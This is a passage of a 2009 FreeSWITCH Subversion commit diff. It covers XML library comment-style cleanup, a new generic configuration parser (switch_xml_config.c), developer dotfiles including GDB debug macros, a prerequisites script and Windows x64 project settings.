-	child = (switch_xml_t) memset(malloc(sizeof(struct switch_xml)), '\0', sizeof(struct switch_xml));
+	if (!xml) return NULL;
+	if (!(child = (switch_xml_t) malloc(sizeof(struct switch_xml)))) return NULL;
+	memset(child, '\0', sizeof(struct switch_xml));
 	child->name = (char *) name;
 	child->attr = SWITCH_XML_NIL;
 	child->off = off;
@@ -2313,20 +2399,20 @@
 	return switch_xml_insert(child, xml, off);
 }
 
-// sets the character content for the given tag and returns the tag
+/* sets the character content for the given tag and returns the tag */
 SWITCH_DECLARE(switch_xml_t) switch_xml_set_txt(switch_xml_t xml, const char *txt)
 {
 	if (!xml)
 		return NULL;
 	if (xml->flags & SWITCH_XML_TXTM)
-		free(xml->txt);			// existing txt was malloced
+		free(xml->txt);			/* existing txt was malloced */
 	xml->flags &= ~SWITCH_XML_TXTM;
 	xml->txt = (char *) txt;
 	return xml;
 }
 
-// Sets the given tag attribute or adds a new attribute if not found. A value
-// of NULL will remove the specified attribute.  Returns the tag given
+/* Sets the given tag attribute or adds a new attribute if not found. A value
+   of NULL will remove the specified attribute.  Returns the tag given */
 SWITCH_DECLARE(switch_xml_t) switch_xml_set_attr(switch_xml_t xml, const char *name, const char *value)
 {
 	int l = 0, c;
@@ -2335,39 +2421,39 @@
 		return NULL;
 	while (xml->attr[l] && strcmp(xml->attr[l], name))
 		l += 2;
-	if (!xml->attr[l]) {		// not found, add as new attribute
+	if (!xml->attr[l]) {		/* not found, add as new attribute */
 		if (!value)
-			return xml;			// nothing to do
-		if (xml->attr == SWITCH_XML_NIL) {	// first attribute
+			return xml;			/* nothing to do */
+		if (xml->attr == SWITCH_XML_NIL) {	/* first attribute */
 			xml->attr = (char **)malloc(4 * sizeof(char *));
 			if (!xml->attr) return NULL;
-			xml->attr[1] = strdup("");	// empty list of malloced names/vals
+			xml->attr[1] = strdup("");	/* empty list of malloced names/vals */
 		} else {
 			char **tmp = (char **)realloc(xml->attr, (l + 4) * sizeof(char *));
 			if (!tmp) return xml;
 			xml->attr = tmp;
 		}
 
-		xml->attr[l] = (char *) name;	// set attribute name
-		xml->attr[l + 2] = NULL;	// null terminate attribute list
+		xml->attr[l] = (char *) name;	/* set attribute name */
+		xml->attr[l + 2] = NULL;	/* null terminate attribute list */
 		xml->attr[l + 3] = (char *)realloc(xml->attr[l + 1], (c = (int) strlen(xml->attr[l + 1])) + 2);
-		strcpy(xml->attr[l + 3] + c, " ");	// set name/value as not malloced
+		strcpy(xml->attr[l + 3] + c, " ");	/* set name/value as not malloced */
 		if (xml->flags & SWITCH_XML_DUP)
 			xml->attr[l + 3][c] = SWITCH_XML_NAMEM;
 	} else if (xml->flags & SWITCH_XML_DUP)
-		free((char *) name);	// name was strduped
+		free((char *) name);	/* name was strduped */
 
-	for (c = l; xml->attr[c]; c += 2);	// find end of attribute list
+	for (c = l; xml->attr[c]; c += 2);	/* find end of attribute list */
 	if (xml->attr[c + 1][l / 2] & SWITCH_XML_TXTM)
-		free(xml->attr[l + 1]);	//old val
+		free(xml->attr[l + 1]);	/* old val */
 	if (xml->flags & SWITCH_XML_DUP)
 		xml->attr[c + 1][l / 2] |= SWITCH_XML_TXTM;
 	else
 		xml->attr[c + 1][l / 2] &= ~SWITCH_XML_TXTM;
 
 	if (value)
-		xml->attr[l + 1] = (char *) value;	// set attribute value
-	else {						// remove attribute
+		xml->attr[l + 1] = (char *) value;	/* set attribute value */
+	else {						/* remove attribute */
 		char **tmp;
 		if (xml->attr[c + 1][l / 2] & SWITCH_XML_NAMEM)
 			free(xml->attr[l]);
@@ -2375,14 +2461,14 @@
 		tmp =(char **)realloc(xml->attr, (c + 2) * sizeof(char *));
 		if (!tmp) return xml;
 		xml->attr = tmp;
-		memmove(xml->attr[c + 1] + (l / 2), xml->attr[c + 1] + (l / 2) + 1, (c / 2) - (l / 2));	// fix list of which name/vals are malloced
+		memmove(xml->attr[c + 1] + (l / 2), xml->attr[c + 1] + (l / 2) + 1, (c / 2) - (l / 2));	/* fix list of which name/vals are malloced */
 	}
-	xml->flags &= ~SWITCH_XML_DUP;	// clear strdup() flag
+	xml->flags &= ~SWITCH_XML_DUP;	/* clear strdup() flag */
 
 	return xml;
 }
 
-// sets a flag for the given tag and returns the tag
+/* sets a flag for the given tag and returns the tag */
 SWITCH_DECLARE(switch_xml_t) switch_xml_set_flag(switch_xml_t xml, switch_xml_flag_t flag)
 {
 	if (xml)
@@ -2390,42 +2476,42 @@
 	return xml;
 }
 
-// removes a tag along with its subtags without freeing its memory
+/* removes a tag along with its subtags without freeing its memory */
 SWITCH_DECLARE(switch_xml_t) switch_xml_cut(switch_xml_t xml)
 {
 	switch_xml_t cur;
 
 	if (!xml)
-		return NULL;			// nothing to do
+		return NULL;			/* nothing to do */
 	if (xml->next)
-		xml->next->sibling = xml->sibling;	// patch sibling list
+		xml->next->sibling = xml->sibling;	/* patch sibling list */
 
-	if (xml->parent) {			// not root tag
-		cur = xml->parent->child;	// find head of subtag list
+	if (xml->parent) {			/* not root tag */
+		cur = xml->parent->child;	/* find head of subtag list */
 		if (cur == xml)
-			xml->parent->child = xml->ordered;	// first subtag
-		else {					// not first subtag
+			xml->parent->child = xml->ordered;	/* first subtag */
+		else {					/* not first subtag */
 			while (cur->ordered != xml)
 				cur = cur->ordered;
-			cur->ordered = cur->ordered->ordered;	// patch ordered list
+			cur->ordered = cur->ordered->ordered;	/* patch ordered list */
 
-			cur = xml->parent->child;	// go back to head of subtag list
-			if (strcmp(cur->name, xml->name)) {	// not in first sibling list
+			cur = xml->parent->child;	/* go back to head of subtag list */
+			if (strcmp(cur->name, xml->name)) {	/* not in first sibling list */
 				while (strcmp(cur->sibling->name, xml->name))
 					cur = cur->sibling;
-				if (cur->sibling == xml) {	// first of a sibling list
+				if (cur->sibling == xml) {	/* first of a sibling list */
 					cur->sibling = (xml->next) ? xml->next : cur->sibling->sibling;
 				} else
-					cur = cur->sibling;	// not first of a sibling list
+					cur = cur->sibling;	/* not first of a sibling list */
 			}
 
 			while (cur->next && cur->next != xml)
 				cur = cur->next;
 			if (cur->next)
-				cur->next = cur->next->next;	// patch next list
+				cur->next = cur->next->next;	/* patch next list */
 		}
 	}
-	xml->ordered = xml->sibling = xml->next = NULL;	// prevent switch_xml_free() from clobbering ordered list
+	xml->ordered = xml->sibling = xml->next = NULL;	/* prevent switch_xml_free() from clobbering ordered list */
 	return xml;
 }
 

Copied: freeswitch/branches/seven/src/switch_xml_config.c (from rev 14471, freeswitch/trunk/src/switch_xml_config.c) (0 => 14472)


--- freeswitch/branches/seven/src/switch_xml_config.c	                        (rev 0)
+++ freeswitch/branches/seven/src/switch_xml_config.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,453 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Mathieu Rene <mathieu.rene@gmail.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Mathieu Rene <mathieu.rene@gmail.com>
+ *
+ *
+ * switch_xml_config.c - Generic configuration parser
+ *
+ */
+
+#include <switch.h>
+
+SWITCH_DECLARE_DATA switch_xml_config_string_options_t switch_config_string_strdup = { NULL, 0, NULL };
+
+static switch_xml_config_enum_item_t switch_config_types_enum[] = {
+	{"int", 	SWITCH_CONFIG_INT		},
+	{"string", 	SWITCH_CONFIG_STRING	},
+	{"bool", 	SWITCH_CONFIG_BOOL		},
+	{"custom", 	SWITCH_CONFIG_CUSTOM	},
+	{"enum", 	SWITCH_CONFIG_ENUM		},
+	{"flag", 	SWITCH_CONFIG_FLAG		},
+	{"flagarray",SWITCH_CONFIG_FLAGARRAY},
+	{ NULL, 0 }
+};
+
+SWITCH_DECLARE(switch_size_t) switch_event_import_xml(switch_xml_t xml, const char *keyname, const char *valuename, switch_event_t **event)
+{
+	switch_xml_t node;
+	switch_size_t count = 0;
+	
+	if (!*event) {
+		/* SWITCH_EVENT_CLONE will not insert any generic event headers */
+		switch_event_create(event, SWITCH_EVENT_CLONE);
+		switch_assert(*event);
+	}
+
+	for (node = xml; node; node = node->next) {
+		const char *key = switch_xml_attr_soft(node, keyname);
+		const char *value = switch_xml_attr_soft(node, valuename);
+		if (key && value) {
+			switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, key, value);
+			count++;
+		}
+	}
+	
+	return count;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_module_settings(const char *file, switch_bool_t reload, switch_xml_config_item_t *instructions)
+{
+	switch_xml_t cfg, xml, settings;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	
+	if (!(xml = switch_xml_open_cfg(file, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not open %s\n", file);
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		status = switch_xml_config_parse(switch_xml_child(settings, "param"), reload, instructions);
+	}
+	
+	switch_xml_free(xml);
+	
+	return status;
+}
+
+SWITCH_DECLARE(void) switch_xml_config_item_print_doc(int level, switch_xml_config_item_t *item)
+{
+	if (item->syntax && item->helptext) {
+		switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, level, "Item name: [%s]\nType: %s (%s)\nSyntax: %s\nHelp: %s\n\n",
+		 	item->key, switch_xml_config_enum_int2str(switch_config_types_enum, item->type), 
+			switch_test_flag(item, CONFIG_REQUIRED) ? "required" : "optional", item->syntax, item->helptext);
+	}
+}
+
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse(switch_xml_t xml, switch_bool_t reload, switch_xml_config_item_t *instructions)
+{
+	switch_event_t *event = NULL;
+	switch_status_t result;
+	int count = switch_event_import_xml(xml, "name", "value", &event);
+	
+	result = switch_xml_config_parse_event(event, count, reload, instructions);
+	
+	if (event) {
+		switch_event_destroy(&event);
+	}
+	
+	return result;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_xml_config_enum_str2int(switch_xml_config_enum_item_t *enum_options, const char *value, int *out)
+{
+	for (;enum_options->key; enum_options++) {
+		if (!strcasecmp(value, enum_options->key)) {
+			*out = enum_options->value;
+			return SWITCH_STATUS_SUCCESS;
+		}
+	}
+	
+	return SWITCH_STATUS_FALSE;
+}
+
+SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value)
+{
+	for (;enum_options->key; enum_options++) {
+		if (value == enum_options->value) {
+			return enum_options->key;
+		}
+	}
+	return NULL;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions)
+{
+	switch_xml_config_item_t *item;
+	int matched_count = 0;
+	
+	for (item = instructions; item->key; item++) {
+		const char *value = switch_event_get_header(event, item->key);
+		switch_bool_t changed = SWITCH_FALSE;
+		switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
+		void *ptr = item->ptr;
+		
+		//switch_assert(ptr);
+		
+		if (value) {
+			matched_count++;
+		}
+		
+		if (reload && !switch_test_flag(item, CONFIG_RELOADABLE)) {
+			continue;
+		}
+		
+		if (!value && switch_test_flag(item, CONFIG_REQUIRED)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Required parameter [%s] is missing\n", item->key);
+			return SWITCH_STATUS_FALSE;
+		}
+		
+		switch(item->type) {
+			case SWITCH_CONFIG_INT:
+				{
+					switch_xml_config_int_options_t *int_options = (switch_xml_config_int_options_t*)item->data;
+					int *dest = (int*)ptr;
+					int intval;
+					if (value) {
+						if (switch_is_number(value)) {
+							intval = atoi(value);
+						} else {
+							intval = (int)(intptr_t)item->defaultvalue;
+							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%d]\n", 
+								value, item->key, intval);
+						}
+						
+						if (int_options) {
+							/* Enforce validation options */
+							if ((int_options->enforce_min && !(intval > int_options->min)) ||
+								(int_options->enforce_max && !(intval < int_options->max))) {
+									/* Validation failed, set default */
+									intval = (int)(intptr_t)item->defaultvalue;
+									/* Then complain */
+									if (int_options->enforce_min && int_options->enforce_max) {
+										switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be between [%d] and [%d], setting default [%d]\n", 
+											value, item->key, int_options->min, int_options->max, intval);
+ 									} else {
+										switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], should be %s [%d], setting default [%d]\n", 
+											value, item->key, int_options->enforce_min ? "at least" : "at max", int_options->enforce_min ? int_options->min : int_options->max, intval);
+									}
+								}
+						}
+					} else {
+						intval = (int)(intptr_t)item->defaultvalue;
+					}
+					
+					if (*dest != intval) {
+						*dest = intval;
+						changed = SWITCH_TRUE;
+					}
+				}
+				break;
+			case SWITCH_CONFIG_STRING:
+				{
+					switch_xml_config_string_options_t string_options_default = { 0 };
+					switch_xml_config_string_options_t *string_options = item->data ? (switch_xml_config_string_options_t*)item->data : &string_options_default;
+					const char *newstring = NULL;
+					
+					/* Perform validation */
+					if (value) {
+						if (!switch_strlen_zero(string_options->validation_regex)) {
+							if (switch_regex_match(value, string_options->validation_regex) == SWITCH_STATUS_SUCCESS) {
+								newstring = value; /* Regex match, accept value*/
+							} else {
+								newstring = (char*)item->defaultvalue;  /* Regex failed */
+								if (newstring) {
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n", 
+										value, item->key, newstring);
+								} else {
+									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n", value, item->key);
+								}
+								switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+							}
+						} else {
+							newstring = value; /* No validation */
+						}
+					} else {
+						newstring = (char*)item->defaultvalue;
+					}
+
+					if (string_options->length > 0) {
+						/* We have a preallocated buffer */
+						char *dest = (char*)ptr;
+						
+						if (newstring) {
+							if (strncasecmp(dest, newstring, string_options->length)) {
+								switch_copy_string(dest, newstring, string_options->length);
+								changed = SWITCH_TRUE;
+							}
+						} else {
+							if (*dest != '\0') {
+								*dest = '\0';
+								changed = SWITCH_TRUE;
+							}
+						}
+					} else if (string_options->pool) {
+						/* Pool-allocated buffer */
+						char **dest = (char**)ptr;
+						
+						if (newstring) {
+							if (!*dest || strcmp(*dest, newstring)) {
+								*dest = switch_core_strdup(string_options->pool, newstring);
+							}
+						} else {
+							if (*dest) {
+								changed = SWITCH_TRUE;
+								*dest = NULL;
+							}
+						}
+					} else {
+						/* Dynamically allocated buffer */
+						char **dest = (char**)ptr;
+						
+						if (newstring) {
+							if (!*dest || strcmp(*dest, newstring)) {
+								switch_safe_free(*dest);
+								*dest = strdup(newstring);
+								changed = SWITCH_TRUE;						
+							}	
+						} else {
+							if (*dest) {
+								switch_safe_free(*dest);
+								changed = SWITCH_TRUE;
+							}
+						}
+					}
+				}
+				break;
+			case SWITCH_CONFIG_BOOL:
+				{
+					switch_bool_t *dest = (switch_bool_t*)ptr;
+					switch_bool_t newval = SWITCH_FALSE;
+					
+					if (value && switch_true(value)) {
+						newval = SWITCH_TRUE;
+					} else if (value && switch_false(value)) {
+						newval = SWITCH_FALSE;
+					} else if (value) {
+						/* Value isnt true or false */
+						newval = (switch_bool_t)(intptr_t)item->defaultvalue;
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s], setting default [%s]\n",  
+										value, item->key, newval ? "true" : "false");
+						switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+					} else {
+						newval = (switch_bool_t)(intptr_t)item->defaultvalue;
+					}
+					
+					if (*dest != newval) {
+						*dest = newval;
+						changed = SWITCH_TRUE;
+					}
+				}
+				break;
+			case SWITCH_CONFIG_CUSTOM: 
+				break;
+			case SWITCH_CONFIG_ENUM:
+				{
+					switch_xml_config_enum_item_t *enum_options = (switch_xml_config_enum_item_t*)item->data;
+					int *dest = (int*)ptr;
+					int newval = 0;
+					switch_status_t lookup_result = SWITCH_STATUS_SUCCESS;
+					
+					if (value) {
+						lookup_result = switch_xml_config_enum_str2int(enum_options, value, &newval);
+					} else {
+						newval = (int)(intptr_t)item->defaultvalue; 
+					}
+					
+					if (lookup_result != SWITCH_STATUS_SUCCESS) {
+						newval = (int)(intptr_t)item->defaultvalue;
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid value [%s] for parameter [%s]\n",  value, item->key);
+						switch_xml_config_item_print_doc(SWITCH_LOG_ERROR, item);
+					}
+					
+					if (*dest != newval) {
+						changed = SWITCH_TRUE;
+						*dest = newval;
+					}
+				}
+				break;
+			case SWITCH_CONFIG_FLAG:
+				{
+					int32_t *dest = (int32_t*)ptr;
+					int index = (int)(intptr_t)item->data;
+					int8_t currentval = (int8_t)!!(*dest & index);
+					int8_t newval = 0;
+					
+					if (value) {
+						newval = switch_true(value);
+					} else {
+						newval = (switch_bool_t)(intptr_t)item->defaultvalue;
+					}
+					
+					if (newval != currentval) {
+						changed = SWITCH_TRUE;
+						if (newval) {
+							*dest |= (1 << index);
+						} else {
+							*dest &= ~(1 << index);
+						}
+					}
+				}
+				break;
+			case SWITCH_CONFIG_FLAGARRAY:
+				{
+					int8_t *dest = (int8_t*)ptr;
+					unsigned int index = (unsigned int)(intptr_t)item->data;
+					int8_t newval = value ? !!switch_true(value) : (int8_t)((intptr_t)item->defaultvalue);
+					if (dest[index] != newval) {
+						changed = SWITCH_TRUE;
+						dest[index] = newval;
+					}
+				}
+				break;
+			case SWITCH_CONFIG_LAST:
+				break;
+			default:
+				break;
+		}
+		
+		if (callback) {
+			callback(item, value, (reload ? CONFIG_RELOAD : CONFIG_LOAD), changed);
+		}
+	}
+
+	if (count != matched_count) {
+		/* User made a mistake, find it */
+		switch_event_header_t *header;
+		for (header = event->headers; header; header = header->next) {
+			switch_bool_t found = SWITCH_FALSE;
+			for (item = instructions; item->key; item++) {
+				if (!strcasecmp(header->name, item->key)) {
+					found = SWITCH_TRUE;
+					break;
+				}
+			}
+			
+			if (!found) {
+				/* Tell the user */
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Configuration parameter [%s] is unfortunately not valid, you might want to double-check that.\n", header->name);
+			}
+		}
+	}
+	
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions)
+{
+	switch_xml_config_item_t *item;
+	
+	for (item = instructions; item->key; item++) {
+		switch_xml_config_callback_t callback = (switch_xml_config_callback_t)item->function;
+		
+		switch (item->type) {
+			case SWITCH_CONFIG_STRING:
+				{
+					char **ptr = (char**)item->ptr;
+					switch_xml_config_string_options_t *string_options = (switch_xml_config_string_options_t*)item->data;
+					/* if (using_strdup) */
+					if (string_options && !string_options->pool && !string_options->length) {
+						switch_safe_free(*ptr);
+					}
+				}
+				break;
+			default:
+				break;
+		}
+		
+		if (callback) {
+			callback(item, NULL, CONFIG_SHUTDOWN, SWITCH_FALSE);
+		}
+		
+	}
+}
+
+
+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr, 	
+										const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext)
+{
+	item->key = key;
+	item->type = type;
+	item->flags = flags;
+	item->ptr = ptr;
+	item->defaultvalue = defaultvalue;
+	item->data = data;
+	item->function = function;
+	item->syntax = syntax;
+	item->helptext = helptext;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Modified: freeswitch/branches/seven/support-d/.bashrc (14471 => 14472)


--- freeswitch/branches/seven/support-d/.bashrc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/support-d/.bashrc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,7 @@
 export LESSCHARSET="latin1"
 export LESS="-R"
 export CHARSET="ISO-8859-1"
-export PS1='\n\[\033[01;31m\]\u@\h\[\033[01;36m\] [\d \@] \[\033[01;33m\] \w\n\[\033[00m\]<\#>: '
+export PS1='\n\[\033[01;31m\]\u@\h\[\033[01;36m\] [\d \@] \[\033[01;33m\] \w\n\[\033[00m\]<\#>:'
 export PS2="\[\033[1m\]> \[\033[0m\]"
 export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/usr/local/lib/pkgconfig
 export VISUAL=emacs
@@ -24,7 +24,11 @@
 alias e='emacs'
 alias tcommit='svn commit --no-auth-cache --username=anthm'
 alias mcommit='svn commit --no-auth-cache --username=mikej'
+alias bcommit='svn commit --no-auth-cache --username=brian'
+alias icommit='svn commit --no-auth-cache --username=intralanman'
 alias dp='emacs /usr/local/freeswitch/conf/dialplan/default.xml'
 alias fstop='top -p `cat /usr/local/freeswitch/log/freeswitch.pid`'
 alias fsgdb='gdb /usr/local/freeswitch/bin/freeswitch `cat /usr/local/freeswitch/log/freeswitch.pid`'
+alias fscore='gdb /usr/local/freeswitch/bin/freeswitch `ls -rt core.* | tail -n1`'
+alias emacs='emacs -nw'
 # End of file

Modified: freeswitch/branches/seven/support-d/.emacs (14471 => 14472)


--- freeswitch/branches/seven/support-d/.emacs	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/support-d/.emacs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,7 @@
 ;(setq cperl-hairy t)
 (global-unset-key "\C-h")
 (global-set-key "\C-h" 'delete-backward-char)
-;(load "/usr/share/emacs/site-lisp/rng-auto.el")
+(load "/usr/share/emacs/site-lisp/rng-auto.el")
 
 (require 'cc-mode)
 (defun my-build-tab-stop-list (width)
@@ -27,6 +27,15 @@
 
 
 
+(add-hook 'c-mode-common-hook
+  (lambda()
+    (local-set-key (kbd "C-c <right>") 'hs-show-block)
+    (local-set-key (kbd "C-c <left>")  'hs-hide-block)
+    (local-set-key (kbd "C-c <up>")    'hs-hide-all)
+    (local-set-key (kbd "C-c <down>")  'hs-show-all)
+    (hs-minor-mode t)))
+
+
 ;; replace C-s with C-\ in a much more general way so that C-\ can be typed
 ;; for every instance of C-s. It is at such a low level that emacs even thinks
 ;; that you typed a C-s.  replace C-s with C-\  ,  globally
@@ -75,12 +84,17 @@
 (global-unset-key "\C-b" )
 (global-set-key "\C-b" 'backward-word)
 (global-unset-key "\M-f" )
+
+
 (global-set-key "\M-f" 'find-file)
 (global-set-key "\M-o" 'find-file-other-window)
 (global-set-key "\M-\\" 'mark-word)
-(global-set-key "\M-[" 'mark-whole-buffer)
-(global-unset-key "\M-]")
-(global-set-key "\M-]" 'indent-region)
+(global-set-key "\M-{" 'mark-whole-buffer)
+;(global-unset-key "\M-}")
+
+
+
+(global-set-key "\M-}" 'indent-region)
 (global-set-key "\C-x\C-m" 'save-buffer)
 (global-set-key "\C-c\C-m" 'delete-other-windows)
 (global-set-key "\C-c\'" 'split-window-vertically)
@@ -164,13 +178,21 @@
        ;; Customize face attributes
        (setq font-lock-face-attributes
              ;; Symbol-for-Face Foreground Background Bold Italic Underline
-             '((font-lock-comment-face       "DarkGreen")
+             '((font-lock-comment-face       "green")
 	       (font-lock-preprocessor-face       "gray")
                (font-lock-string-face        "Sienna")
                (font-lock-keyword-face       "purple")
                (font-lock-function-name-face "limegreen")
                (font-lock-variable-name-face "Yellow")
                (font-lock-type-face          "Yellow")
+               (font-lock-reference-face     "Purple")
+
+	       (font-lock-builtin-face "limegreen")
+	       (font-lock-constant-face "yellow")
+	       (font-lock-doc-face "limegreen")
+	       (font-lock-highlighting-face "limegreen")
+	       (font-lock-warning-face "limegreen")
+
                ))
        ;; Load the font-lock package.
        (require 'font-lock)
@@ -182,10 +204,14 @@
 
 
 
+ 
 
 
 
 
+
+
+
 (set-background-color "black")
 (set-foreground-color "white")
 (set-cursor-color "white")

Copied: freeswitch/branches/seven/support-d/.gdbinit (from rev 14471, freeswitch/trunk/support-d/.gdbinit) (0 => 14472)


--- freeswitch/branches/seven/support-d/.gdbinit	                        (rev 0)
+++ freeswitch/branches/seven/support-d/.gdbinit	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+# FreeSWITCH Custom GDB commands
+define list_sessions
+	dont-repeat
+	printf "Listing sessions: \n"
+	set $i = 0
+	set $x=session_manager.session_table->table->first
+	while($x != 0x0)
+		printf "uuid %s is at %p\n", $x->pKey, $x->data
+		set $x = $x->next
+		set $i = $i + 1
+	end
+	printf "Found %d sessions.\n", $i
+end
+document list_sessions
+Print a list of session uuid and pointers
+end
+
+define hash_it_str
+	dont-repeat
+	set $i = 0
+	set $x=$arg0->table->first
+	while($x != 0x0)
+		printf "key: %s valueptr: %p\n", $x->pKey, $x->data
+		set $x = $x->next
+		set $i = $i + 1
+	end
+end
+document hash_it_str 
+Usage: hash_it_str [hashtable]
+Prints the content of a hashtable displaying the key as a string and the value as pointer
+end
+
+
+define hash_it_str_x
+	dont-repeat
+	set $i = 0
+	set $x=$arg0->table->first
+	while($x != 0x0)
+		printf "key: %s\n", $x->pKey
+		print (($arg1*)$x->data)->$arg2
+		printf "\n\n"
+		set $x = $x->next
+		set $i = $i + 1
+		end
+end
+document hash_it_str_x
+Usage: hash_it_str_x [hashtable] [value_type] [member]
+Prints the content of a hashtable displaying the key as a string and a specific member of the value struct. Args: hashtable value_type member
+end
+
+define event_dump
+	dont-repeat
+	set $x = $arg0->headers
+	while($x != 0x0)
+		printf "%s = %s\n", $x->name, $x->value
+		set $x = $x->next
+	end
+end
+document event_dump
+Usage: event_dump [switch_event_t*]
+Print an event's headers and values
+end
+
+define print_list
+	dont-repeat
+	set $x = $arg0
+	while ($x != 0x0)
+		print *$x
+		set $x = $x->next
+	end
+end
+document print_list
+Usage print_list [symbol]
+Prints all the remaining elements of a linked list
+end
+
+define print_tags
+	dont-repeat
+	set $x = $arg0
+	while (*((int*)$x) != 0x0)
+		info sym $x->t_tag
+		printf "%p \"%s\"\n", $x->t_value, $x->t_value
+		set $x = $x + 1
+	end
+end
+document print_tags
+Usage print_tags [tags]
+List sofia tags and their values
+end
+
+define setup_session
+	set $session=(switch_core_session_t*)$arg0
+	set $channel = $session->channel
+	printf "UUID: %s\nName: %s\nState: %d\n", $session->uuid_str, $channel->name, $channel->state
+end
+document setup_session
+Usage setup_session [session address]
+Sets session and channel from the given address
+end
+
+define setup_sofia
+	set $tech_pvt = (private_object_t*)$session->private_info
+	set $nh = $tech_pvt->nh
+end
+document setup_sofia
+No arguments. Sets nh and tech_pvt from the current session
+end

Modified: freeswitch/branches/seven/support-d/.screenrc (14471 => 14472)


--- freeswitch/branches/seven/support-d/.screenrc	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/support-d/.screenrc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,3 @@
 startup_message off
 escape ^\b
-defscrollback 500000
+defscrollback 8000

Modified: freeswitch/branches/seven/support-d/prereq.sh (14471 => 14472)


--- freeswitch/branches/seven/support-d/prereq.sh	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/support-d/prereq.sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,7 +2,7 @@
 
 
 NEEDED_PACKAGES_YUM='automake autoconf libtool screen gdb gcc-c++ compat-gcc-32 compat-gcc-32-c++ subversion ncurses-devel unixODBC-devel make wget'
-NEEDED_PACAKGES_APT='automake autoconf libtool screen gdb libncurses5-dev unixodbc-dev subversion emacs22-nox gcc g++ '
+NEEDED_PACAKGES_APT='automake autoconf libtool screen gdb libncurses5-dev unixodbc-dev subversion emacs22-nox gcc g++ make'
 NEEDED_PACKAGES_PKG_ADD=''
 
 

Property changes: freeswitch/branches/seven/w32/Console


Name: svn:ignore
   - Debug
Release
*.user
debug
   + Debug
Release
*.user
debug
x64

Modified: freeswitch/branches/seven/w32/Console/FreeSwitchConsole.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/w32/Console/FreeSwitchConsole.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/w32/Console/FreeSwitchConsole.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -71,7 +74,7 @@
 				GenerateDebugInformation="true"
 				ProgramDatabaseFile="$(OutDir)/FreeSwitchConsole.pdb"
 				SubSystem="1"
-				RandomizedBaseAddress="1"
+				RandomizedBaseAddress="2"
 				DataExecutionPrevention="0"
 				TargetMachine="1"
 			/>
@@ -98,6 +101,88 @@
 			/>
 		</Configuration>
 		<Configuration
